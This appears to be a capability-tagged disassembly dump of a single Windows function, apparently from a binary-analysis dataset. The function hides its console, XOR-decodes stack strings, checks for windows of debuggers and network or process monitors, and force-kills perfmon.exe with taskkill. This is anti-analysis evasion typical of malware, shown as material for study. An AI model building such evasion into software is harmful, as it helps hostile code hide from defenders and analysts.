Function at 0x140003010
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movdqa xmm0, xmmword [0x1400813f0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x1007c60
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x12
jb 0x140003060
mov byte [rbp - 0x3d], bl
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x3e]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400030d3
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
movdqa xmm0, xmmword [0x1400813e0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x1007c60
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x12
jb 0x140003100
mov byte [rbp - 0x3d], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x3e]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003174
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000316f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000316f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
movdqa xmm0, xmmword [0x1400813b0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x7f617d
mov byte [rbp - 0x3c], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x13
jb 0x1400031a0
mov byte [rbp - 0x3c], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x3d]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003214
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000320f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000320f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
movdqa xmm0, xmmword [0x140081410]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x637f376f
mov word [rbp - 0x3c], 0x79
mov byte [rbp - 0x3a], 1
mov rcx, rbx
nop
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x15
jb 0x140003240
mov byte [rbp - 0x3a], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x3b]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400032b4
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
movdqa xmm0, xmmword [0x1400813d0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x40], 0x7d
mov byte [rbp - 0x3e], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x11
jb 0x1400032e0
mov byte [rbp - 0x3e], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x3f]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003354
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000334f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000334f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
mov dword [rbp - 0x50], 0x68657b78
mov dword [rbp - 0x4c], 0x21606261
mov dword [rbp - 0x48], 0x776975
mov byte [rbp - 0x44], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xb
jb 0x140003380
mov byte [rbp - 0x44], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x45]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400033f4
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
mov dword [rbp - 0x50], 0x7a6b6d61
mov dword [rbp - 0x4c], 0x6a766822
mov word [rbp - 0x48], 0x100
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 8
jb 0x140003420
mov byte [rbp - 0x47], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003494
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000348f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000348f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
mov dword [rbp - 0x50], 0x7a6b6d61
mov dword [rbp - 0x4c], 0x6a20393a
mov dword [rbp - 0x48], 0x1007468
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xa
jb 0x1400034c0
mov byte [rbp - 0x45], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x46]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003534
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000352f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000352f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
mov dword [rbp - 0x50], 0x6e78605f
mov dword [rbp - 0x4c], 0x7d6f657f
mov dword [rbp - 0x48], 0x6b773f7b
mov word [rbp - 0x44], WSAStartup
mov byte [rbp - 0x42], 1
mov rcx, rbx
nop
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xd
jb 0x140003560
mov byte [rbp - 0x42], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x43]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400035d4
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
mov dword [rbp - 0x50], 0x6f6e604e
mov dword [rbp - 0x4c], 0x217c6860
mov dword [rbp - 0x48], 0x776975
mov byte [rbp - 0x44], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xb
jb 0x140003600
mov byte [rbp - 0x44], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x45]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003674
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000366f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000366f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
mov dword [rbp - 0x50], 0x64646c50
mov dword [rbp - 0x4c], 0x213a3b7f
mov dword [rbp - 0x48], 0x776975
mov byte [rbp - 0x44], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xb
jb 0x1400036a0
mov byte [rbp - 0x44], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x45]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003714
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000370f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000370f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
movdqa xmm0, xmmword [0x140081400]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x40], 0x100
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x10
jb 0x140003740
mov byte [rbp - 0x3f], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400037b4
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
movdqa xmm0, xmmword [0x140081420]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [str.vuloMzRWK_A]
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x4248091a
mov dword [rbp - 0x2c], 0x4a000458
mov dword [rbp - 0x28], 0x1005448
mov rcx, rbx
nop
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x2a
jb 0x1400037f0
mov byte [rbp - 0x25], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x26]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003864
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000385f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000385f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
mov dword [rbp - 0x50], 0x7e4e7a43
mov dword [rbp - 0x4c], 0x7d6b7d61
mov dword [rbp - 0x48], 0x766a743e
mov word [rbp - 0x44], 0x100
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xc
jb 0x140003890
mov byte [rbp - 0x43], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x44]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003904
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400038ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
mov dword [rbp - 0x50], 0x6f3e3f70
mov dword [rbp - 0x4c], 0x6a206a6e
mov dword [rbp - 0x48], 0x1007468
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xa
jb 0x140003930
mov byte [rbp - 0x45], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x46]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400039a4
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000399f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000399f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
movdqa xmm0, xmmword [0x1400813d0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x40], 0x7d
mov byte [rbp - 0x3e], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x11
jb 0x1400039d0
mov byte [rbp - 0x3e], 0
lea r9, [rbp + 0x10]
lea r8, [rbp - 0x3f]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000b870
nop
lea rcx, [rbp - 0x20]
call fcn.140002c00
mov rdi, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003a44
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e860
test rdi, rdi
jne 0x140003c05
movdqa xmm0, xmmword [0x1400813c0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x40], 0x100
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x10
jb 0x140003a70
mov byte [rbp - 0x3f], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140003c05
mov dword [rbp - 0x50], 0x64676c45
mov dword [rbp - 0x4c], 0x592e747e
mov dword [rbp - 0x48], 0x76657479
mov word [rbp - 0x44], 0x66
mov byte [rbp - 0x42], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xd
jb 0x140003ac0
mov byte [rbp - 0x42], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140003c05
mov dword [rbp - 0x50], 0x68657b58
mov dword [rbp - 0x4c], 0x2f7d7e69
mov dword [rbp - 0x48], 0x6761785c
mov word [rbp - 0x44], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xc
jb 0x140003b10
mov byte [rbp - 0x43], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140003c05
mov dword [rbp - 0x50], 0x7e4e7a43
mov dword [rbp - 0x4c], 0x7d6b7d61
mov word [rbp - 0x48], 0x100
mov rcx, rbx
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 8
jb 0x140003b50
mov byte [rbp - 0x47], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140003c05
mov dword [rbp - 0x50], 0x5b5e5d40
mov dword [rbp - 0x4c], 0x6d6b492c
mov dword [rbp - 0x48], 0x76757665
mov word [rbp - 0x44], 0x66
mov byte [rbp - 0x42], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 8]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xd
jb 0x140003ba0
mov byte [rbp - 0x42], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x140003c05
mov dword [rbp - 0x50], 0x72666547
mov dword [rbp - 0x4c], 0x696f48
mov byte [rbp - 0x48], 1
nop word [rax + rax]
lea eax, [rbx + 8]
xor byte [rbp + rbx - 0x50], al
inc rbx
cmp rbx, 7
jb 0x140003be0
mov byte [rbp - 0x48], 0
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003c0a
call fcn.1400029e0
lea rdx, str.Resource_Monitor
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003c44
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.taskkill__F__T__IM_perfmon.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.The_Wireshark_Network_Analyzer
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003c5d
call fcn.1400029e0
lea rdx, str.Progress_Telerik_Fiddler_Web_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003c76
call fcn.1400029e0
lea rdx, str.Fiddler
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003c8f
call fcn.1400029e0
lea rdx, str.HTTP_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003ca8
call fcn.1400029e0
lea rdx, str.x64dbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003cc1
call fcn.1400029e0
lea rdx, str.dnSpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003cda
call fcn.1400029e0
lea rdx, str.FolderChangesView
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003cf3
call fcn.1400029e0
lea rdx, str.BinaryNinja
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003d0c
call fcn.1400029e0
lea rdx, [0x140080914]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003d25
call fcn.1400029e0
lea rdx, str.Cheat_Engine_7.2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003d3e
call fcn.1400029e0
lea rdx, str.Cheat_Engine_7.1
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003d57
call fcn.1400029e0
lea rdx, str.Cheat_Engine_7.0
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003d70
call fcn.1400029e0
lea rdx, str.Cheat_Engine_6.9
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003d89
call fcn.1400029e0
lea rdx, str.Cheat_Engine_7.3
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003da2
call fcn.1400029e0
lea rdx, str.Cheat_Engine_7.4
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003dbb
call fcn.1400029e0
lea rdx, str.Cheat_Engine_7.5
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003dd4
call fcn.1400029e0
lea rdx, str.Cheat_Engine_7.6
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003ded
call fcn.1400029e0
lea rdx, [0x1400809d4]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003e06
call fcn.1400029e0
lea rdx, str.Ida_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003e1f
call fcn.1400029e0
lea rdx, str.Ida_Freeware
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003e38
call fcn.1400029e0
lea rdx, str.HTTP_Debugger_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003e51
call fcn.1400029e0
lea rdx, str.Process_Hacker
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003e6a
call fcn.1400029e0
lea rdx, str.Process_Hacker_2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003e83
call fcn.1400029e0
lea rdx, str.OllyDbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140003e9c
call fcn.1400029e0
mov qword [rbp + 0x10], 0x7d0
lea rcx, [rbp + 0x10]
call fcn.14000b350
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret